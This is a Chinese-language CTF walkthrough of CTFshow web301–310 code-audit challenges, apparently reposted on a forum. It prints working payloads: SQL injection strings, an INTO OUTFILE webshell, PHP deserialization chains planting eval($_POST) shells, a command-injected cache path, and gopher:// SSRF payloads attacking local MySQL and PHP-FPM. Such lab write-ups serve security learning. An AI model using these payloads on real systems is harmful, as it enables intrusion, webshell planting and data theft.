冬雨财经 发表于 2024-11-14 00:07:02

CTFshow--Web--代码审计

目次
web301
web302
web303
web304
web305
web306
web307
web308
web309
web310

web301

开始一个登录框, 下意识sql尝试一下
发现 1' 的时候会到一个 checklogin.php 的路径下, 但啥也没有
好吧, 这是要审计代码的 ,下载好源码, 开始审计
https://i-blog.csdnimg.cn/direct/2ac788ceeaff4095a99db168adf06b77.png
看了一下源码 , 应该就是sql注入了 , 而且还没过滤什么其他的东西
https://i-blog.csdnimg.cn/direct/95c9245b892e4fd69299d13c969a755a.png
   if(!strcasecmp($userpwd,$row['sds_password']))
比较输入的密码和查询到的密码
方法一: union团结查询
利用union 团结查询 ,
-1' union select 123#
查询不到内容, 会在数据库中创建一个数据 123 , 那么这个123就会作为一个返回的数据, 用以跟用户输入的密码举行比较 , 相匹配的话就行登录进去了
以是在 输入框 填上 123
就可以顺利的登录进去了, 直接给了flag
https://i-blog.csdnimg.cn/direct/ce7f7d2dfe2440268036aa79a951e10b.png
或者利用 盲注的方法 爆出字段内容 得到flag 应该也可以

方法二: 写shell
-1 ' union select "<?php eval($_POST);?>" into outfile "/var/www/html/1.php"#
into outfile 是 MySQL 的一个命令,用于将查询的结果写入到服务器上的一个文件中。
https://i-blog.csdnimg.cn/direct/1692c35c30614d2dae6b4e8e27c75174.png

web302

if(!strcasecmp(sds_decode($userpwd),$row['sds_password'])){
标题说这是修改的地方
结合上一道题
 
<?php
function sds_decode($str){
    return md5(md5($str.md5(base64_encode("sds")))."sds");
}
依旧是利用 union 团结注入, 但是 需要自己举行加密一下密码
 -1' union select "d9c77c4e454869d5d8da3b4be79694d3"#
密码为1
登录成功 就可以拿到flag
https://i-blog.csdnimg.cn/direct/388680946ec247188d7695f5e1a7873c.png

web303

https://i-blog.csdnimg.cn/direct/21a5d124544d413ba2730b325773d2bd.png
用户名只能小于6个字符, 不能用之前的方法
在文件内里可以找到两个 提示 说注入点的地方
dpt.php
这是个假的注入点, sql语句内里没有我们可以控制的变量
https://i-blog.csdnimg.cn/direct/54b3291712bb48168f6ec6457b8b8953.png
dptadd.php
https://i-blog.csdnimg.cn/direct/851ec31a701046779825babb7788bc67.png
但是都存在这几行代码, 如果没登入进去的话, 都会跳转到 login.php
https://i-blog.csdnimg.cn/direct/1da6bb899b7f4d69bd24b07da9a86e03.png
需要账号密码
可以在fun.php内里看到
echo sds_decode('admin')
可以是提示了我们密码是admin
https://i-blog.csdnimg.cn/direct/a16507471c65427b91585cb17c3d0c6b.png
在给的一个sql表中也可以看到 存在admin 账户
https://i-blog.csdnimg.cn/direct/9e4a211f919e4ce49da6fc8782d2bd56.png
以是利用  admin / adimin  登录进去
可以看到 dptadd.php
https://i-blog.csdnimg.cn/direct/a09c31ae8bd24f93b3ae711bf56b3e2e.png
insert注入:
将select查询到的语句 插入到表中, 然后回显出表中的数据
构造语句
查表:
   dpt_name=1',sds_address=(select group_concat(table_name) from information_schema.tables where table_schema=database())#
会跳转到dpt.php  回显出数据
https://i-blog.csdnimg.cn/direct/ae4c3ec1e97846fa9a425f7f2d4978e8.png
查字段名:
   dpt_name=1',sds_address=(select group_concat(table_name) from information_schema.tables where table_schema=database())#
查数据:
   dpt_name=1',sds_address=(select flag from sds_fl9g)#
https://i-blog.csdnimg.cn/direct/50888ffee421481ba3e968dcb4771b8a.png
报错注入:
查到的数据不完备,可能有长度限制啥的 利用substr函数, 分成两部分查
   dpt_name=aa&dpt_address=aa&dpt_build_year=2021-04-02&dpt_has_cert=on&dpt_cert_number=a&dpt_telephone_number=xxx' or updatexml(1,concat(0x7e,substr((select group_concat(flag) from  sds_fl9g),20,30),0x7e),1)#
web304

   增加了全局waf
function sds_waf($str){
        return preg_match('/||-/i', $str);
}但好像没有变化, 继续用上一题的payload就可以
web305

有一个waf, 无法再举行注入了
   function sds_waf($str){
    if(preg_match('/\~|\`|\!|\@|\#|\$|\%|\^|\&|\*|\(|\)|\_|\+|\=|\{|\}|\[|\]|\;|\:|\'|\"|\,|\.|\?|\/|\\\|\<|\>/', $str)){
       return false;
    }else{
       return true;
    }
}还有一个class.php 文件 , 可以举行反序列化
   class user{
    public $username;
    public $password;
    public function __construct($u,$p){
       $this->username=$u;
       $this->password=$p;
    }
    public function __destruct(){
       file_put_contents($this->username, $this->password);
    }
}https://i-blog.csdnimg.cn/direct/434c610fb0874fc0a3d9acaa789ecbbe.png
可以写个文件
   <?php
class user{
    public $username;
    public $password;
}
$a = new user();
$a->username = "1.php";
$a->password = "<?php eval($_POST); ?>";
echo urlencode(serialize($a));
//O%3A4%3A%22user%22%3A2%3A%7Bs%3A8%3A%22username%22%3Bs%3A5%3A%221.php%22%3Bs%3A8%3A%22password%22%3Bs%3A25%3A%22%3C%3Fphp+eval%28%24_POST%5B1%5D%29%3B+%3F%3E%22%3B%7D蚁剑连接, 然后进入到数据库内里去
相干的账号密码 在 conn.php内里可以找到

web306

class.php中存在 file_put_contents , 需要调用到close() 函数
https://i-blog.csdnimg.cn/direct/36d33b5dcb1c4479b7e1c92af81ebf43.png
在dao.php里可以发现调用了close()
https://i-blog.csdnimg.cn/direct/d799d8261bb24f77b85a8411b0b3a3e8.png
在index.php文件中又包含了dao.php,而且存在反序列化函数
https://i-blog.csdnimg.cn/direct/46960ad737d14adc8108e6744022a555.png

构造payload:
<?php

class log{
    public $title='1.php';
    public $info='<?php eval(\$_POST);?>';

}

class dao{
    private $conn;
    public function __construct()
    {
      $this->conn=new log();
    }

}
$a=new dao();
echo base64_encode(serialize($a));
//TzozOiJkYW8iOjE6e3M6OToiAGRhbwBjb25uIjtPOjM6ImxvZyI6Mjp7czo1OiJ0aXRsZSI7czo1OiIxLnBocCI7czo0OiJpbmZvIjtzOjI1OiI8P3BocCBldmFsKFwkX1BPU1RbMV0pOz8+Ijt9fQ== 将payload 放到 session内里去
https://i-blog.csdnimg.cn/direct/8a18b78c36a9466aa38dbe0eaa6c2c5f.png
在访问一下login.php 可以看到都直接登录进去了
https://i-blog.csdnimg.cn/direct/95f017e675e24d3aaddd680726012d6b.png
访问1.php , 已经是回显200了, 以是应该是写进去了,
但不知道为啥, 蚁剑连不上, 而且实行命令也没反应
应该是写进去了的啊, 直接用其他人的payload放进去, 也是一样的反应,
可能浏览器出啥问题了,临时不管了
https://i-blog.csdnimg.cn/direct/ecbb93566fc24b9f88ea29426a4f39c1.png

web307

controller/logout.php内里存在一个反序列化的 , 后续应该是要在这个路径下实行
找一下 clearCache()函数的调用
https://i-blog.csdnimg.cn/direct/685ab31c6ec949bbbf3b108af8d17e11.png
controller/dao/dao.php内里存在一个clearCache(), 可以实行命令, 内里存在参数可控
https://i-blog.csdnimg.cn/direct/8d6333fec0ff4b8da2f338ccb2c329c6.png
service/service.php , 也存在 clearCache()的调用, 而且在logout.php内里require了service.php,
service.php又require了/dao/dao.php
https://i-blog.csdnimg.cn/direct/6d297769630f4e8ba370c8b07e758f93.png

构造payload:
<?php

class dao{
    private $config;
    public function __construct(){
      $this->config=new config();
    }
}

class config{
    public $cache_dir = ';echo "<?php eval(\$_POST);?>" >a.php;';

}
$a=new dao();
echo base64_encode(serialize($a)); 将payload放到Cookie内里后, 访问controller/logout.php, 就能写入马
在访问controller/a.php 就能实行命令了
https://i-blog.csdnimg.cn/direct/4c16c9a3666c46beb4ff822bef906146.png

web308

在上一题的基础上增加了过滤
https://i-blog.csdnimg.cn/direct/cd716aed0ac340a18e88b67096d48931.png


但是又多了一个函数 ,
https://i-blog.csdnimg.cn/direct/00788724ffff4902b14c3ca075a8e646.png
找一下checkUpdate()
很显着的SSRF
https://i-blog.csdnimg.cn/direct/bc984bff7e2b411c89cba727cc2ef796.png
在index.php下面 ,能够调用 checkVersion()函数 , 固然header 头跳转了,但是照旧会实行背面的代码
https://i-blog.csdnimg.cn/direct/a0a692de8f054daba7cc1ea0f181e8f2.png

参数update_url也是可控的
标题提示需要拿shell,  mysql也是无密码的
直接 通过gopherus 工具 生成payload
https://github.com/tarunkant/Gopherus
https://i-blog.csdnimg.cn/direct/07f78629a7b24b19a04edf8de33cc8c5.png

<?php

class dao{
    private $config;
    public function __construct(){
      $this->config=new config();
    }
}

class config{
    public $update_url ='gopher://127.0.0.1:3306/_%a3%00%00%01%85%a6%ff%01%00%00%00%01%21%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%00%72%6f%6f%74%00%00%6d%79%73%71%6c%5f%6e%61%74%69%76%65%5f%70%61%73%73%77%6f%72%64%00%66%03%5f%6f%73%05%4c%69%6e%75%78%0c%5f%63%6c%69%65%6e%74%5f%6e%61%6d%65%08%6c%69%62%6d%79%73%71%6c%04%5f%70%69%64%05%32%37%32%35%35%0f%5f%63%6c%69%65%6e%74%5f%76%65%72%73%69%6f%6e%06%35%2e%37%2e%32%32%09%5f%70%6c%61%74%66%6f%72%6d%06%78%38%36%5f%36%34%0c%70%72%6f%67%72%61%6d%5f%6e%61%6d%65%05%6d%79%73%71%6c%4b%00%00%00%03%73%65%6c%65%63%74%20%22%3c%3f%70%68%70%20%40%65%76%61%6c%28%24%5f%50%4f%53%54%5b%27%63%6d%64%27%5d%29%3b%3f%3e%22%20%69%6e%74%6f%20%6f%75%74%66%69%6c%65%20%27%2f%76%61%72%2f%77%77%77%2f%68%74%6d%6c%2f%32%2e%70%68%70%27%3b%01%00%00%00%01';

}
$a=new dao();
echo base64_encode(serialize($a));
直接抓包在 index.php 写入Cookie就行, 然后实行生成 2.php
https://i-blog.csdnimg.cn/direct/99c68c079bac44a3be5d40b201c38e97.png
然后访问 2.php,  cmd实行命令
https://i-blog.csdnimg.cn/direct/edc43fc1e25d4d7ab8f09aefb01c6b06.png

web309

需要拿shell,308的方法不行了,mysql 有密码了 Ctfshow web入门 代码审计篇 web301-web310 具体题解 全_ctfshow web301-CSDN博客
FastCGI攻击需要满足四个条件:
   1、PHP版本要高于5.3.3,才气动态修改PHP.INI配置文件
2、知道标题环境中的一个PHP文件的绝对路径
3、PHP-FPM监听在本机9000端口
4、libcurl版本>=7.45.0
    向服务端发送请求时,服务端会等待我们发送数据,处于wait状态。最多等几十秒。
gopher协议只会把数据发送过去,不承接任何应用。以是gopher协议访问开放端口时,会"卡住",等待我们传输数据,以是就能探测端口是否开放。
脚本用gopher协议访问,凌驾两秒(服务端等待数据接收)就判断端口开放,没超时(服务端直接拒绝)就是端口没开放。
    21 ftp
22 ssh
80 http
443 https
3389 rdp windows远程桌面
1433 ms-sqlserver 默认端口
3306 mysql 默认端口
6379 redis 默认端口
9000 php-fpm(FastCGI) 默认端口
用之前的poc探测一下端口的开放
   <?php
class dao{
    private $config;
    public function __construct(){
    $this->config=new config();
    }
}
class config{
     public $update_url = 'gopher://127.0.0.1:9000';
}
$a= new dao();
echo base64_encode(serialize($a));
?>
探测存在9000端口开放(会不停卡住, 访问其他的也访问不了, 得重新下发容器)
利用Gopherus工具生成攻击FastCGI的payload。
https://i-blog.csdnimg.cn/direct/c1faf739b7584683884b13c1a089240d.png
payload:
gopher://127.0.0.1:9000/_%01%01%00%01%00%08%00%00%00%01%00%00%00%00%00%00%01%04%00%01%01%04%04%00%0F%10SERVER_SOFTWAREgo%20/%20fcgiclient%20%0B%09REMOTE_ADDR127.0.0.1%0F%08SERVER_PROTOCOLHTTP/1.1%0E%02CONTENT_LENGTH58%0E%04REQUEST_METHODPOST%09KPHP_VALUEallow_url_include%20%3D%20On%0Adisable_functions%20%3D%20%0Aauto_prepend_file%20%3D%20php%3A//input%0F%17SCRIPT_FILENAME/var/www/html/index.php%0D%01DOCUMENT_ROOT/%00%00%00%00%01%04%00%01%00%00%00%00%01%05%00%01%00%3A%04%00%3C%3Fphp%20system%28%27tac%20f%2A%27%29%3Bdie%28%27-----Made-by-SpyD3r-----%0A%27%29%3B%3F%3E%00%00%00%00
https://i-blog.csdnimg.cn/direct/bd206d27f52d41c188e1632243bcb191.png

web310

第一种方法:
依旧是上一道题的操纵, 在利用工具的时候, 命令写入一个shell文件
然后在相应路径下实行命令, flag在 /var/flag/index.html 路径下
https://i-blog.csdnimg.cn/direct/cb34dd8b05ba4b4aa2cc3475709808f9.png
第二种方法:
利用file伪协议,读取一下配置文件:
<?php
class config{
    public $update_url = 'file:///etc/nginx/nginx.conf';
}
class dao{
    private $config;
    public function __construct(){
      $this->config=new config();
    }

}
$a=new dao();
echo base64_encode(serialize($a));
?>
   daemon off;
worker_processes  auto;
error_log  /var/log/nginx/error.log warn;
events {
    worker_connections  1024;
}
http {
    include       /etc/nginx/mime.types;
    default_type  application/octet-stream;
    sendfile        on;
    keepalive_timeout  65;
    server {
        listen       80;
        server_name  localhost;
        root         /var/www/html;
        index index.php;
        proxy_set_header Host $host;
        proxy_set_header X-Real-IP $remote_addr;
        proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for;
        location / {
            try_files $uri  $uri/ /index.php?$args;
        }
        location ~ \.php$ {
            try_files $uri =404;
            fastcgi_pass   127.0.0.1:9000;
            fastcgi_index  index.php;
            include        fastcgi_params;
            fastcgi_param  SCRIPT_FILENAME  $document_root$fastcgi_script_name;
        }
    }
    server {
        listen       4476;
        server_name  localhost;
        root         /var/flag;
        index index.html;
        proxy_set_header Host $host;
        proxy_set_header X-Real-IP $remote_addr;
        proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for;
    }
}
看到 4476端口 存在flag的文件
<?php
class config{
    public $update_url = 'http://127.0.0.1:4476';
}
class dao{
    private $config;
    public function __construct(){
      $this->config=new config();
    }

}
$a=new dao();
echo base64_encode(serialize($a));
https://i-blog.csdnimg.cn/direct/9ca97165264845adb90d0cc13159e637.png




CTFSHOW 代码审计篇_ctfshow 源码-CSDN博客
 
Ctfshow web入门 代码审计篇 web301-web310 具体题解 全_ctfshow web301-CSDN博客


CTFshow刷题日志-WEB-代码审计(web301-310)SQL注入、SSRF打MySQL、SSRF打FastCGI、SSRF文件读取_ctfshow web303-CSDN博客

免责声明:如果侵犯了您的权益,请联系站长,我们会及时删除侵权内容,谢谢合作!更多信息从访问主页:qidao123.com:ToB企服之家,中国第一个企服评测及商务社交产业平台。
页: [1]
查看完整版本: CTFshow--Web--代码审计